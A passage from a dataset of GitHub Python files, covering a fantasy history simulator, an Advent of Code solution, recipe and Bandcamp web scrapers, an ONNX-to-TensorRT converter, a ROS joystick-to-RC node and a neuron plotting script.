t2:\n continue\n if relation == 1:\n allybonus += int(town.resources * 0.2)\n town.resources = int(town.resources * 0.8)\n\n for town, relation in t2.allies_enemies.items():\n if town == t1:\n continue\n if relation == 1:\n allybonus -= int(town.resources * 0.2)\n town.resources = int(town.resources * 0.8)\n \n for person in HEROS:\n if person.age in range(15, 25) and person.role in (\"hunter\", \"warrior\"):\n if person.hometown == t1:\n addHist(\"{0} accompanies the attackers.\".format(person.nametitle))\n if person.hometown == t2:\n addHist(\"{0} accompanies the defenders.\".format(person.nametitle))\n if person.hometown in (t1, t2) and not person.earnedTitle:\n addHist(\"After the battle, {0} becomes known as {1}.\".format(person.name, person.nametitle))\n person.earnedTitle = True\n if person.hometown in (t1, t2) and random.randint(1, 5) == 1:\n addHist(\"In the fighting, {0} is killed.\".format(person.namewithtitle()))\n person.die()\n t2.relations[t1] -= 50\n roll = random.randint(1, 100) + t1.resources - t2.resources + allybonus\n log(\"Roll is {0} (>50 to succeed)\".format(roll))\n if roll <= 50:\n log(\"Raid failed\")\n addHist(\"However, {0} manages to fight off the attack.\".format(t2.name))\n t1.resources -= 7\n t2.resources -= 3\n log(\"New resources: {0} {1}, {2} {3}\".format(t1.name, t1.resources, t2.name, t2.resources))\n else:\n log(\"Raid succeeded\")\n addHist(\"Warriors of {0} make it into {1} and make off with crates of l00t.\".format(t1.name, t2.name))\n amount_raided = int(rand_limit(0.3, 0.7) * t2.resources)\n t1.resources += int(amount_raided * 0.9)\n t2.resources -= amount_raided\n if t1 in t2.trade_routes:\n log(\"Breaking off trade...\")\n addHist(\"Of course, the citizens of {0} are {1}. Trade between {0} and {2} has stopped.\".format(t2.name, random.choice(ANGRY_SYNONYMS), t1.name))\n\ndef destroyCity(t1 = None, t2 = None, protectTOWNS = True):\n \"t1 destroys t2. Leave blank for random. If protectTOWNS then won't destroy below 5 total towns.\"\n log(\"City destroy called\")\n global TOWNS\n if protectTOWNS and len(TOWNS) < 6:\n log(\"Aborting attack to preserve TOWNS\")\n return\n if t1 == None:\n cs_in_raid = random.sample(TOWNS, 2)\n t1 = cs_in_raid[0]\n t2 = cs_in_raid[1]\n t2.relations[t1] = -100\n\n log(\"Destroy: targets {0} and {1}\".format(t1.name, t2.name))\n \n roll = random.randint(1, 100) + t1.resources - t2.resources\n \n todestroy = False\n if t1.relations[t2] <= 0:\n if roll > 50:\n log(\"Attack succeeded\")\n addHist(\"{0}{1}: The town of {2} destroys the town of {3}, {4}.\".format(bce_or_not(currentSimTime), CAL_AB, t1.name, t2.name, iFromList(REASONS_TO_ATTACK)))\n todestroy = True\n t1.resources -= random.randint(1, 3) * t2.size\n else:\n log(\"Attack failed\")\n addHist(\"{0}{1}: The town of {2} attempts to destroy the town of {3}, {4}, but is driven back.\".format(bce_or_not(currentSimTime), CAL_AB, t1.name, t2.name, iFromList(REASONS_TO_ATTACK)))\n t1.resources -= random.randint(1, 5) * t2.size\n t2.resources -= random.randint(1, 3) * t1.size\n else:\n if roll > 50:\n log(\"Attack succeeded\")\n addHist(\"{0}{1}: The town of {2} destroys their ally {3}, {4}.\".format(bce_or_not(currentSimTime), CAL_AB, t1.name, t2.name, iFromList(REASONS_TO_ATTACK)))\n todestroy = True\n t1.resources -= random.randint(1, 3) * t2.size\n else:\n log(\"Attack failed\")\n addHist(\"{0}{1}: The town of {2} attempts to destroys their ally {3}, {4}, but is driven back.\".format(bce_or_not(currentSimTime), CAL_AB, t1.name, t2.name, iFromList(REASONS_TO_ATTACK)))\n t1.resources -= random.randint(1, 5) * t2.size\n t2.resources -= random.randint(1, 3) * t1.size\n \n for person in HEROS:\n if person.age in range(15, 25) and person.role in (\"hunter\", \"warrior\"):\n if person.hometown == t1:\n addHist(\"{0} accompanies the attackers.\".format(person.nametitle))\n if person.hometown == t2:\n addHist(\"{0} accompanies the defenders.\".format(person.nametitle))\n if person.hometown in (t1, t2) and not person.earnedTitle:\n addHist(\"After the battle, {0} becomes known as {1}.\".format(person.name, person.nametitle))\n person.earnedTitle = True\n if person.hometown in (t1, t2) and random.randint(1, 5) == 1:\n addHist(\"In the fighting, {0} is killed.\".format(person.name))\n person.die()\n \n if todestroy:\n for person in HEROS:\n if person.hometown == t2:\n if random.randint(1, 2) == 1:\n addHist(\"{0} is killed by the attackers.\".format(person.nametitle))\n person.die()\n else:\n person.flee()\n addHist(\"{0} flees to {1}.\".format(person.nametitle, person.hometown))\n t2.destroy()\n \n\ndef foundCity():\n global TOWNS\n global HEROS\n choices = []\n for town in TOWNS:\n if town.resources < 10:\n for i in range(1, 5):\n choices.append(town)\n else:\n choices.append(town)\n target = random.choice(choices)\n log(\"Founding new city from {0}...\".format(target.name))\n addHist(\"{0}{1}: {2}, {3}s from {4} found a new city on {5}.\".format(bce_or_not(currentSimTime), CAL_AB, iFromList(REASONS_TO_LEAVE, TECH_LEVEL), iFromList(ROLES), target.name, target.continent.name))\n newtown = Town(target.continent)\n newtown.relations[target] = random.randint(-10, 10)\n for person in HEROS:\n if person.hometown == target:\n if person.age in range(15, 40) and person.role in (\"hunter\", \"artist\", \"farmer\", \"cook\", \"shaman\", \"priest\", \"healer\", \"herbalist\"):\n if random.randint(1, 3) == 1:\n addHist(\"Among them is {0}\".format(person.nametitle))\n person.hometown = newtown\n addHist(\"They decide to call it {0}.\".format(newtown.name))\n log(\"Town founded: {0} at {1}\".format(newtown.name, newtown))\n if random.randint(1, 2) == 1:\n log(\"Old trade set up\")\n addHist(\"They maintain trade with their former hometown.\")\n newtown.trade_routes.append(target)\n target.trade_routes.append(newtown)\n \n\ndef researchTech():\n \"Upgrades tech level to advance history.\"\n log(\"Tech up\")\n if random.randint(1, 3) != 1: # can be tweaked to make history go faster or shorter\n return\n global TECH_NUM, TECH_LEVEL\n TECH_NUM += 1\n if TECH_NUM > 1:\n TECH_LEVEL = \"pass\"\n\ndef estTrade(t1 = None, t2 = None):\n \"Two towns begin trading. Leave at None to be set randomly.\"\n log(\"Trade agreement\")\n global TOWNS\n if t1 == None:\n cs_in_trade = random.sample(TOWNS, 2)\n t1 = cs_in_trade[0]\n t2 = cs_in_trade[1]\n log(\"Trade est: targets {0} and {1}\".format(t1.name, t2.name))\n if random.randint(1, 2) == 1:\n addHist(\"{0}{1}: The towns of {2} and {3} decide to establish trade to promote both cities.\".format(bce_or_not(currentSimTime), CAL_AB, t1.name, t2.name))\n else:\n addHist(\"{0}{1}: Merchants begin following a route between the towns of {2} and {3}.\".format(bce_or_not(currentSimTime), CAL_AB, t1.name, t2.name))\n t1.trade_routes.append(t2)\n t2.trade_routes.append(t1)\n\ndef breakTrade(t1 = None, t2 = None):\n \"Two trading towns stop trading. Leave at None to be chosen randomly.\"\n log(\"Trade broken\")\n global TOWNS\n if t1 == None:\n cs_in_trade = random.sample(TOWNS, 2)\n t1 = cs_in_trade[0]\n t2 = cs_in_trade[1]\n timeout = 0\n while not t2 in t1.trade_routes:\n cs_in_trade = random.sample(TOWNS, 2)\n t1 = cs_in_trade[0]\n t2 = cs_in_trade[1]\n timeout += 1\n if timeout == 100:\n log(\"Timeout: Couldn't find 2 cities to trade. Assuming no trade deals exist...\")\n return\n log(\"Trade break: targets {0} and {1}\".format(t1.name, t2.name))\n addHist(\"{0}{1}: Due to unfairly high prices, {2} breaks off trade with {3}\".format(bce_or_not(currentSimTime), CAL_AB, t1.name, t2.name))\n t1.trade_routes.remove(t2)\n t2.trade_routes.remove(t1)\n\ndef greatRise(role = None, target = None):\n \"The birth and childhood of a great hero/celebrity. Role sets their profession, not implemented. Town is where.\"\n if role == None:\n role = iFromList(ROLES, TECH_LEVEL)\n log(\"Generating hero...\")\n\n person = Hero(role = role, hometown = target)\n\n log(\"Hero: {0} at {1}\".format(person.name, person))\n \n addHist(\"{0}{1}: In the town of {2}, {3} is born.\".format(bce_or_not(currentSimTime), CAL_AB, person.hometown.name, person.name))\n\ndef formAlliance(t1 = None, t2 = None):\n \"Forms an alliance between two default-random cities.\"\n log(\"Forming alliance...\")\n if t1 == None:\n i = 0\n while True:\n townstouse = random.sample(TOWNS, 2)\n t1 = townstouse[0]\n t2 = townstouse[1]\n if t1 in t2.allies_enemies or t2 in t1.allies_enemies:\n i += 1\n if i > 50:\n log(\"Could not find cities to ally, aborting.\")\n return\n continue\n break\n log(\"Alliance: targets {0} and {1}\".format(t1.name, t2.name))\n if t1.relations[t2] < 0 or t2.relations[t1] < 0:\n addHist(\"{2}{3}: In a historic deal, the towns of {0} and {1} form an alliance with each other.\".format(t1.name, t2.name, bce_or_not(currentSimTime), CAL_AB))\n else:\n addHist(\"{2}{3}: The towns of {0} and {1} form an alliance to benefit both.\".format(t1.name, t2.name, bce_or_not(currentSimTime), CAL_AB))\n t1.allies_enemies[t2] = 1\n t2.allies_enemies[t1] = 1\n t1.resources += random.randint(1, 10)\n t2.resources += random.randint(1, 10)\n\ndef declareWar(t1 = None, t2 = None, tryResolve = True):\n \"Starts a war between two default-random cities. Leave tryResolve at True for a 50% chance to avert war.\"\n log(\"Declaring war...\")\n if t1 == None:\n i = 0\n while True:\n townstouse = random.sample(TOWNS, 2)\n t1 = townstouse[0]\n t2 = townstouse[1]\n if t1 in t2.allies_enemies or t2 in t1.allies_enemies or t1.resources < 10 or (t1, t2) in WARS or (t2, t1) in WARS:\n i += 1\n if i > 50:\n log(\"Could not find cities to ally, aborting.\")\n return\n continue\n break\n log(\"War: targets {0} and {1}\".format(t1.name, t2.name))\n if tryResolve:\n if random.randint(1, 2) == 1: # could be if random.randint(0, 1) but this is easier\n log(\"Aborting war...\")\n addHist(\"{0}{1}: The towns of {2} and {3} almost go to war, but it's avoided through diplomacy.\".format(bce_or_not(currentSimTime), CAL_AB, t1.name, t2.name))\n return\n if t1.relations[t2] < 0 or t2.relations[t1] < 0:\n addHist(\"{2}{3}: After rising tensions, {0} declares war on {1}.\".format(t1.name, t2.name, bce_or_not(currentSimTime), CAL_AB))\n else:\n addHist(\"{2}{3}: The town of {0} suddenly declares war on {1}.\".format(t1.name, t2.name, bce_or_not(currentSimTime), CAL_AB))\n t1.allies_enemies[t2] = -1\n t2.allies_enemies[t1] = -1\n t1.resources -= random.randint(1, 10)\n t2.resources -= random.randint(1, 10)\n WARS.append((t1, t2))\n \ndef evalTowns():\n log(\"Evaluating towns...\")\n average_res = 0\n for town in TOWNS:\n average_res += town.resources\n average_res /= len(TOWNS)\n for town in TOWNS:\n if town.resources < (average_res * 0.1): # if city is very below average resources\n log(\"{0} low on resources\".format(town.name))\n addHist(\"Starvation is rampant in {0} due to lack of resources. Many either die or leave.\".format(town.name))\n town.size -= random.randint(1, 2)\n if town.size <= 0:\n addHist(\"{0} becomes abandoned.\".format(town.name))\n town.destroy()\n if len(TOWNS) < 6:\n refnewtown = Town(town.continent)\n addHist(\"Refugees found the town of {0}.\".format(refnewtown.name))\n elif town.resources > (average_res * 1.5): # town is very above average resources\n log(\"{0} high on resources\".format(town.name))\n addHist(\"{0} grows rich and attracts people, causing them to expand.\".format(town.name))\n town.size += random.randint(1, 3)\n for target in town.trade_routes:\n target.resources += random.randint(1, 3)\n try:\n town.relations[target] += 5\n except:\n log(\"Could not find town {0} as {1}. Removing relations...\".format(target.name, target))\n town.trade_routes.remove(target)\n\ndef evalPeople():\n log(\"Evaluating people...\")\n for person in HEROS:\n person.age = currentSimTime - person.birthdate\n if TECH_LEVEL == \"agriculture\":\n if person.age > 10 and not person.earnedTitle:\n person.earnedTitle = True\n addHist(\"{0} becomes known as {1} after {2}.\".format(person.name, person.nametitle, person.earntitle()))\n if person.age > 20 and random.randint(1, 5) == 1:\n log(\"{0} dies\".format(person.name))\n addHist(\"{0} dies of old age\".format(person.name))\n person.die()\n\ndef evalWars():\n log(\"Evaluating wars...\")\n for war_towns in WARS:\n log(\"Evaluating {0}\".format(war_towns))\n for i in range(1, 3):\n if random.randint(1, 2) == 1:\n battleeventnum = random.randint(1, 10)\n if battleeventnum in range(1, 6):\n log(\"Attack rolled\")\n if battleeventnum in range(1, 3):\n t1 = war_towns[0]\n t2 = war_towns[1]\n else:\n t1 = war_towns[1]\n t2 = war_towns[0]\n roll = random.randint(1, 100) + t1.resources - t2.resources\n for town, relation in t1.allies_enemies.items():\n if relation == 1:\n roll += int(0.8 * town.resources)\n town.resources *= 0.9\n for town, relation in t2.allies_enemies.items():\n if relation == 1:\n roll -= int(0.8 * town.resources)\n town.resources *= 0.9\n if roll > 50:\n addHist(\"{0} attacks {1} at the {2}. The attack succeeds.\".format(war_towns[0].name, war_towns[1].name, random.choice(war_towns[1].locations)))\n t1.resources += 10\n t2.resources -= 20\n else:\n addHist(\"{0} attacks {1} at the {2}. The attack fails.\".format(war_towns[0].name, war_towns[1].name, random.choice(war_towns[1].locations)))\n t1.resources -= 20\n t2.resources += 10\n elif battleeventnum == 7:\n log(\"Mercenaries rolled (1)\")\n addHist(\"{0} hires mercenaries to raid {1}.\".format(war_towns[0].name, war_towns[1].name))\n war_towns[0].resources -= 10\n war_towns[1].resources -= 30\n elif battleeventnum == 8:\n log(\"Mercenaries rolled (2)\")\n addHist(\"{0} hires mercenaries to raid {1}.\".format(war_towns[1].name, war_towns[0].name))\n war_towns[1].resources -= 10\n war_towns[0].resources -= 30\n elif battleeventnum == 9:\n log(\"Stalemate rolled\")\n places = []\n for town in war_towns:\n town.resources -= random.randint(5, 15)\n for place in town.locations:\n places.append(place)\n addHist(\"{0} and {1} fight for a while at {2} with no clear winner.\".format(war_towns[0].name, war_towns[1].name, random.choice(places)))\n elif battleeventnum == 10:\n log(\"Treaty rolled\")\n avg = 0\n for town in TOWNS:\n avg += town.resources\n avg /= len(TOWNS)\n if war_towns[0].resources < 0.5 * avg and war_towns[1].resources < 0.5 * avg:\n addHist(\"After long, hard fighting, the populations of {0} and {1} are too poor to continue fighting.\".format(war_towns[0].name, war_towns[1].name))\n WARS.remove((war_towns[0], war_towns[1]))\n return\n elif war_towns[0].resources < 0.5 * avg:\n addHist(\"{0} surrenders to {1} and gives up the following territories:\".format(war_towns[0].name, war_towns[1].name))\n for i in range(1, int(rand_limit(0.3, 0.6) * len(war_towns[0].locations))):\n if len(war_towns[0].locations) <= 1: # Shouldn't happen, but just in case...\n continue\n territory = random.choice(war_towns[0].locations)\n war_towns[0].locations.remove(territory)\n war_towns[1].locations.append(territory)\n addHist(territory)\n WARS.remove((war_towns[0], war_towns[1]))\n return\n elif war_towns[1].resources < 0.5 * avg:\n addHist(\"{0} surrenders to {1} and gives up the following territories:\".format(war_towns[1].name, war_towns[0].name))\n for i in range(1, int(rand_limit(0.3, 0.6) * len(war_towns[1].locations))):\n if len(war_towns[1].locations) <= 1: # Shouldn't happen, but just in case...\n continue\n territory = random.choice(war_towns[1].locations)\n war_towns[1].locations.remove(territory)\n war_towns[0].locations.append(territory)\n addHist(territory)\n WARS.remove((war_towns[0], war_towns[1]))\n return\n else:\n which = random.randint(0, 1)\n capturer = war_towns[which]\n loser = war_towns[which - 1]\n territory = random.choice(loser.locations)\n addHist(\"{0} captures the {1} from {2}.\".format(capturer.name, territory, loser.name))\n try:\n loser.locations.remove(territory)\n capturer.locations.append(territory)\n except:\n addHist(\"However, it's quickly recaptured.\")\n \n# ---------------------------------------\n# Current step order:\n# genWorld()\n# beginAgric()\n# Begin the pool of events:\n# -Adds towns can attack\n# -Trade alliances can form\n# Evaluate resources every so often\n# ---------------------------------------\n\ngenWorld()\nbeginAgric()\n\ncurrentSimTime = -begintime\n\nTECH_NUM = 0\nTECH_LEVEL = \"agriculture\"\n\naction_options = (raidTown, foundCity, researchTech, estTrade, breakTrade, destroyCity, formAlliance, declareWar, greatRise, greatRise)\nwhile TECH_LEVEL == \"agriculture\":\n checkTech = TECH_LEVEL\n for i in range(1, random.randint(2, 6)):\n action = random.choice(action_options)\n action()\n if checkTech != TECH_LEVEL:\n break\n evalWars()\n currentSimTime += random.randint(1, 25)\n evalTowns()\n evalPeople()\n\n# ---------------------------------------\n\nprint(\"Your history is saved at: \", end = \"\")\nprint(histfile.name)\n\n# Closes the log and history files to save changes\nlogfile.close()\nhistfile.close()\n","repo_name":"battlemage64/FantasyWorldGenerator","sub_path":"HistoryGen/HistGen_PrimitiveEra.py","file_name":"HistGen_PrimitiveEra.py","file_ext":"py","file_size_in_byte":34696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"73097614309","text":"from __future__ import annotations\n\nimport argparse\nimport os.path\n\nimport pytest\n\nimport support\n\nINPUT_TXT = os.path.join(os.path.dirname(__file__), \"input.txt\")\n\n\ndef compute(s: str) -> int:\n heights = []\n for line in s.splitlines():\n heights.append([int(x) for x in line])\n visible = 0\n for i in range(len(heights)):\n for j in range(len(heights[i])):\n if is_visible(heights, i, j):\n visible += 1\n return visible\n\n\ndef is_visible(heights: list[list[int]], i: int, j: int) -> bool:\n if i == 0 or j == 0 or i == len(heights) - 1 or j == len(heights[i]) - 1:\n return True\n if all(heights[i][j] > heights[xi][j] for xi in range(i)):\n return True\n if all(heights[i][j] > heights[xi][j] for xi in range(i + 1, len(heights))):\n return True\n if all(heights[i][j] > heights[i][xj] for xj in range(j)):\n return True\n if all(heights[i][j] > heights[i][xj] for xj in range(j + 1, len(heights[i]))):\n return True\n return False\n\n\nINPUT_S = \"\"\"30373\n25512\n65332\n33549\n35390\n\"\"\"\nEXPECTED = 21\n\n\n@pytest.mark.parametrize(\n (\"input_s\", \"expected\"),\n ((INPUT_S, EXPECTED),),\n)\ndef test(input_s: str, expected: int) -> None:\n assert compute(input_s) == expected\n\n\ndef main() -> int:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"data_file\", nargs=\"?\", default=INPUT_TXT)\n args = parser.parse_args()\n\n with open(args.data_file) as f, support.timing(): # type: ignore[attr-defined]\n print(compute(f.read()))\n\n return 0\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n","repo_name":"k-sriram/aoc2022","sub_path":"day08/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"24791216745","text":"## Load Required Packages\n\nfrom bs4 import BeautifulSoup\nimport requests\nimport re\nimport string\nimport nltk\nfrom nltk.stem.wordnet import WordNetLemmatizer\nimport pandas as pd\n\n\n### Extract Keywords and Cook Time from Recipe Webpages\n\n### define functions for text cleaning\n\ndef remove_stop_words(s):\n stop_words = {'tag','cat','type', 'recipe', 'meal', 'post',\n 'breakfast','lunch','dinner','dessert', \n 'for','idea','best'}\n for w in stop_words:\n pattern = r'\\b'+w+r'\\b'\n s = re.sub(pattern, '', s)\n return s\n\ndef lemmatize(s):\n s = s.split(' ')\n lemmatizer = WordNetLemmatizer()\n s = [lemmatizer.lemmatize(w) for w in s]\n s = ' '.join(s)\n return s\n\n\n### define function to extract and clean keywords and time\n\n\ndef get_recipe_keywords_time(url):\n # Make a GET request to fetch the raw HTML content\n html_content = requests.get(url).text\n # Parse the html content\n soup = BeautifulSoup(html_content, \"lxml\")\n time = 'none'\n if any(x in url for x in ('delish', 'countryliving', 'goodhousekeeping')):\n try:\n keywords = str(soup.find(\"meta\", attrs={\"name\": \"keywords\"})).split('\"')[1]\n except IndexError:\n keywords = \"none\"\n time = str(soup.find(\"span\", attrs={\"class\": \"total-time-amount\"}))\n elif any(x in url for x in ('cookinglight','myrecipes')):\n try:\n keywords = str(soup.find(\"meta\", attrs={\"name\": \"keywords\"})).split('\"')[1]\n except IndexError:\n keywords = \"none\"\n time = str(soup.find_all('div', {'class' :'recipe-meta-item'}))\n elif 'damn' in url:\n keywords = str(soup.find(\"meta\", attrs={\"name\":\"shareaholic:keywords\"})).split('\"')[1]\n time = str(soup.find_all('div',{'class':\"post-meta time\"}))\n \n keywords = re.split(',|/', keywords) \n keywords = [re.sub(r'[^A-Za-z0-9]+',r\" \", text) for text in keywords]\n keywords = [text.lower() for text in keywords]\n keywords = [lemmatize(w) for w in keywords]\n keywords = [remove_stop_words(w) for w in keywords]\n keywords = [text.strip() for text in keywords]\n keywords = [re.sub(' +', ' ',text) for text in keywords]\n keywords = list(dict.fromkeys(keywords))\n keywords = [i for i in keywords if i]\n keywords = ', '.join(keywords)\n \n time = time.replace(\"\\n\", \"\")\n time = re.sub('<[^>]+>', ' ', time)\n time = re.sub(' +', ' ',time)\n time = time.strip('[]')\n time = time.strip()\n \n return [keywords, time]\n\n\n### use function on a sample dataset\n\nrecipes = pd.read_csv(r\"Documents/cooking project/recipes.csv\")\n\n\nrecipes_sample = recipes[['link','meal']]\n\nfn = lambda x: get_recipe_keywords_time(x['link'])\ncols = recipes_sample.apply(fn, axis=1)\ncols_df = pd.DataFrame(cols.tolist())\nrecipes_sample = recipes_sample.assign(keywords= cols_df[0].values,\n time=cols_df[1].values)\n\n\nrecipes_sample.to_csv(\"Documents/cooking project/recipes_updated2.csv\")\n\n\n\n\n\n","repo_name":"rjnagley/Weekly-Menu-Planner","sub_path":"recipe_tagger.py","file_name":"recipe_tagger.py","file_ext":"py","file_size_in_byte":3000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"22899794448","text":"class Emp:\r\n\r\n def __init__(self):\r\n self.id = 101 # public\r\n self._name = 'Ram' # protected\r\n self.__sal = 34000 # private\r\n\r\n def showEmp(self):\r\n print(\"Emp details : \")\r\n print(self.id,self._name,self.__sal)\r\n\r\nobj = Emp()\r\nobj.__sal = 20000\r\nobj.showEmp()\r\n","repo_name":"ravi4all/PythonReg2_30_2020","sub_path":"AdvPythonReg/01-OOPS/AccessSpecifiers.py","file_name":"AccessSpecifiers.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"40091673036","text":"\"\"\"将 onnx -> tensorRT\"\"\"\nimport os\nimport cv2\nimport numpy as np\nimport tensorrt as trt\n\nTRT_LOGGER = trt.Logger(trt.Logger.INFO)\n\n\ndef build_engine(onnx_file_path, engine_file_path, input_shape):\n \"\"\"将 onnx 权重转换为 trt 文件\"\"\"\n # 基于 INetworkDefinition 构建 ICudaEngine\n builder = trt.Builder(TRT_LOGGER)\n # 基于 INetworkDefinition 和 IBuilderConfig 构建 engine\n network = builder.create_network(1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH))\n # 构建 builder 的配置对象\n config = builder.create_builder_config()\n # 构建 ONNX 解析器\n parser = trt.OnnxParser(network, TRT_LOGGER)\n # 构建 TensorRT 运行时\n runtime = trt.Runtime(TRT_LOGGER)\n # 参数设置\n config.max_workspace_size = 1 << 28 # 256MiB\n builder.max_batch_size = 1\n # 解析 onnx 模型\n if not os.path.exists(onnx_file_path):\n print(\n f\"[INFO] ONNX file {onnx_file_path} not found.\")\n print(f\"[INFO] Loading ONNX file from {onnx_file_path}.\")\n with open(onnx_file_path, \"rb\") as model:\n print(\"[INFO] Beginning ONNX file parsing.\")\n if not parser.parse(model.read()):\n print(\"[ERROR] Failed to parse the ONNX file.\")\n for error in range(parser.num_errors):\n print(parser.get_error(error))\n return None\n # 根据 yolov3.onnx,reshape 输入数据的形状\n network.get_input(0).shape = [1, 3, input_shape[0], input_shape[1]]\n print(\"[INFO] Completed parsing of ONNX file.\")\n print(f\"[INFO] Building an engine from {onnx_file_path}.\")\n # 序列化模型\n plan = builder.build_serialized_network(network, config)\n # 反序列化\n engine = runtime.deserialize_cuda_engine(plan)\n print(\"[INFO] Completed creating engine.\")\n # 写入文件\n with open(engine_file_path, \"wb\") as f:\n f.write(plan)\n return engine\n\n\nif __name__ == \"__main__\":\n build_engine(\"\", \"\", \"\")\n","repo_name":"YuHe0108/cvmodule","sub_path":"TensorRT/convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"71"} +{"seq_id":"26706787179","text":"#!/usr/bin/env python\nimport rospy\nfrom sensor_msgs.msg import Joy\nfrom mavros_msgs.msg import OverrideRCIn\nglobal pub\n\ndef JoytoPWM(Joy):\n\trc_msg = OverrideRCIn()\n\trc_msg.channels[0] = 1500 + 500*Joy.axes[3] # Aileron #3\n\trc_msg.channels[1] = 1500 + 500*Joy.axes[0] # Elevator #0\n\trc_msg.channels[2] = 1500 + 500*Joy.axes[1] # Trottle #1\n\trc_msg.channels[3] = 1500 + 500*Joy.axes[4] # Rudder #4\n\trc_msg.channels[5] = 1500 + 500*Joy.axes[5] # switch C #5\n\trc_msg.channels[6] = 2000 - 1000*Joy.buttons[2] # switch B #2\n\trc_msg.channels[7] = 2000 - 1000*Joy.buttons[3] # switch A #3\n\t\n\tpub.publish(rc_msg)\n\nif __name__ == '__main__':\n\trospy.init_node('listener', anonymous=True)\n\tpub = rospy.Publisher('/mavros/rc/override',OverrideRCIn,queue_size=10)\t\n\trospy.Subscriber(\"joy\", Joy, JoytoPWM)\n\t#print('after subs: %s',Joy)\n\trospy.spin()\n","repo_name":"ChJDPrasad/Rakshak-Source-Codes","sub_path":"Ground-Station-Codes/src/controller/src/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"30884354669","text":"import json\n\n\n\nengine = 'requests'\n\ngetPageModule = getattr(\n\t__import__(f'getPage.{engine}'),\n\tengine\n)\n\ngetPage = getPageModule.getPage\n\nif getPageModule.paralleling:\n\tfrom paralleling import composeInParallel as compose\nelse:\n\tfrom paralleling import composeSequentially as compose\n\n\n\ndef getArtistUrl(artist_name):\n\n\tsearch_page = getPage(f'https://bandcamp.com/search?q={artist_name}')\n\tsearch_results_elements = search_page.select('.searchresult')\n\t\n\talbums_elements = [*filter(\n\t\tlambda e: json.loads(e['data-search'])['type'] == 'a', \n\t\tsearch_results_elements\n\t)]\n\tif len(albums_elements):\n\t\tfirst_album_url = albums_elements[0].select('.itemurl')[0].text\n\t\tfirst_album_artis_url = first_album_url.strip().split('bandcamp.com')[0] + 'bandcamp.com'\n\t\treturn first_album_artis_url\n\t\n\tartists_elements = [*filter(\n\t\tlambda e: json.loads(e['data-search'])['type'] == 'b', \n\t\tsearch_results_elements\n\t)]\n\tif len(artists_elements):\n\t\tfirst_artist_url = artists_elements[0].select('.itemurl')[0].text.strip()\n\t\treturn first_artist_url\n\n\treturn None\n\n\ndef _getAlbumTitleFromElement(element):\n\ttitle_text = element.select('.title')[0].text\n\ttitle_text_first_line = title_text.strip().split('\\n')[0]\n\treturn title_text_first_line\n\n\ndef getAlbumBuyInfo(album_url):\n\n\talbum_page = getPage(album_url)\n\tdigital_albom_buy_info = album_page.select('.buyItem.digital')\n\tif not len(digital_albom_buy_info):\n\t\treturn None\n\telse:\n\t\tdigital_albom_buy_info = digital_albom_buy_info[0]\n\n\tcost = None\n\tcosts_if_non_free = digital_albom_buy_info.select('h4.ft .nobreak .base-text-color')\n\tis_non_free = len(costs_if_non_free)\n\tif is_non_free:\n\t\tcost = costs_if_non_free[0].text\n\telse:\n\t\tcost = 0\n\n\treturn {\n\t\t'cost': cost\n\t}\n\n\ndef getAlbums(artist_name_or_url):\n\n\tartist_url = artist_name_or_url if artist_name_or_url.endswith('bandcamp.com') else getArtistUrl(artist_name_or_url)\n\tartist_music_page = getPage(f'{artist_url}/music')\n\talbums_links_elements = artist_music_page.select('.music-grid-item > a')\n\n\tresult = compose(\n\t\talbums_links_elements,\n\t\t_getAlbumTitleFromElement,\n\t\tlambda e: {\n\t\t\t'link': artist_url + e['href'],\n\t\t\t'buy_info': getAlbumBuyInfo(artist_url + e['href'])\n\t\t},\n\t\tf\"Geting albums by artist '{getArtistTrueName(artist_url)}'\"\n\t)\n\t\n\treturn result\n\n\ndef getArtistTrueName(artist_name_or_url):\n\tartist_url = artist_name_or_url if artist_name_or_url.endswith('bandcamp.com') else getArtistUrl(artist_name_or_url)\n\tartist_music_page = getPage(f'{artist_url}/music')\n\tartist_true_name = artist_music_page.select('#band-name-location .title')[0].text.strip()\n\treturn artist_true_name","repo_name":"MentalBlood/bandcamp_api","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"8199805067","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Oct 11 09:22:20 2016\r\n\r\n@author: porio\r\n\"\"\"\r\nfrom __future__ import division\r\nimport numpy as np\r\nimport matplotlib\r\nmatplotlib.use('Agg')\r\nimport matplotlib.pyplot as plt\r\n\r\nisis = np.loadtxt(\"data/ISIs_gsdT36gh02.txt.gz\")\r\n\r\nVtraces = [np.loadtxt(\"data/Vtrace-gsd%04.0f.txt\"%(g*1e4)) for g in (0.21,0.23,0.245,0.263,0.28,0.315)]\r\ntime=np.arange(0,4,0.00005)\r\n 